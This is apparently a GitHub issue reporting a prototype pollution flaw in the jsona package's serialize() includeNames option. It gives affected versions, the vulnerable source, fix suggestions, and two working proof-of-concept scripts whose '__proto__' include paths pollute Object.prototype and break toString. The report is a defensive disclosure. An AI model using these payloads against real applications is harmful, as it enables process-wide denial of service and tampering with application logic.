Skip to content

Prototype pollution in Jsona.serialize() via includeNames path #72

Description

@Dremig

Jsona.serialize() has a prototype pollution issue in its includeNames handling.

includeNames is used to include related resources. The README documents this as a way to include relationship names, including nested relationships with dot notation, for example:

includeNames: ['categories', 'town.country']

However, includeNames is converted into a nested object tree without filtering prototype-related path segments such as __proto__, constructor, or prototype. As a result, a path such as __proto__.toString writes to Object.prototype.

Affected package:

jsona@1.14.0

I also checked several versions:

0.1.6  not affected
0.2.3  not affected
1.0.0  affected
1.9.7  affected
1.10.1 affected
1.13.0 affected
1.14.0 affected

So the likely affected range is:

>= 1.0.0, <= 1.14.0

Relevant source:

// src/builders/ModelsSerializer.ts
setIncludeNames(includeNames) {
  if (Array.isArray(includeNames)) {
    const includeNamesTree = {};
    includeNames.forEach((namesChain) => {
      createIncludeNamesTree(namesChain, includeNamesTree);
    });
    this.includeNamesTree = includeNamesTree;
  } else {
    this.includeNamesTree = includeNames;
  }
}
// src/utils.ts
export function createIncludeNamesTree(namesChain, includeTree): void {
  const namesArray = namesChain.split('.');
  const currentIncludeName = namesArray.shift();
  const chainHasMoreNames = namesArray.length;

  let subTree = null;

  if (chainHasMoreNames) {
    subTree = includeTree[currentIncludeName] || {};
    createIncludeNamesTree(namesArray.join('.'), subTree);
  }

  includeTree[currentIncludeName] = subTree;
}

When currentIncludeName is __proto__, this line reads Object.prototype:

subTree = includeTree[currentIncludeName] || {};

The recursive call then writes attacker-controlled properties onto Object.prototype.

PoC:

const { Jsona } = require('jsona');

delete Object.prototype.pp;

new Jsona().serialize({
  stuff: {
    id: '1',
    type: 'article',
    title: 'Hello',
  },
  includeNames: ['__proto__.pp'],
});

console.log(Object.prototype.hasOwnProperty.call(Object.prototype, 'pp'));
console.log(({}).pp);

delete Object.prototype.pp;

Observed output:

true
null

This also allows overwriting existing inherited properties. For example:

const { Jsona } = require('jsona');

const originalToString = Object.prototype.toString;

new Jsona().serialize({
  stuff: {
    id: '1',
    type: 'article',
  },
  includeNames: ['__proto__.toString'],
});

console.log(Object.prototype.hasOwnProperty.call(Object.prototype, 'toString'));
console.log(Object.prototype.toString);

try {
  console.log(String({}));
} catch (error) {
  console.log(error.name + ': ' + error.message);
}

Object.prototype.toString = originalToString;

Observed output:

true
null
TypeError: Cannot convert object to primitive value

Expected behavior:

includeNames should only describe JSON:API relationship paths. Prototype-related path segments should not modify JavaScript built-in prototypes.

Actual behavior:

includeNames can write properties to Object.prototype, causing process-wide prototype pollution.

Impact:

If an application passes attacker-controlled or less-trusted relationship include paths to Jsona.serialize(), an attacker can pollute Object.prototype. This can affect unrelated objects in the same process. At minimum, this can cause denial of service by overwriting properties such as toString; depending on application-specific gadgets, it may also affect authorization or other business logic that reads inherited properties.

Suggested fix:

  • Reject path segments equal to __proto__, constructor, or prototype.
  • Build includeNamesTree using null-prototype objects, for example Object.create(null).
  • Use own-property checks when reading existing include tree nodes, for example Object.prototype.hasOwnProperty.call(includeTree, currentIncludeName).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions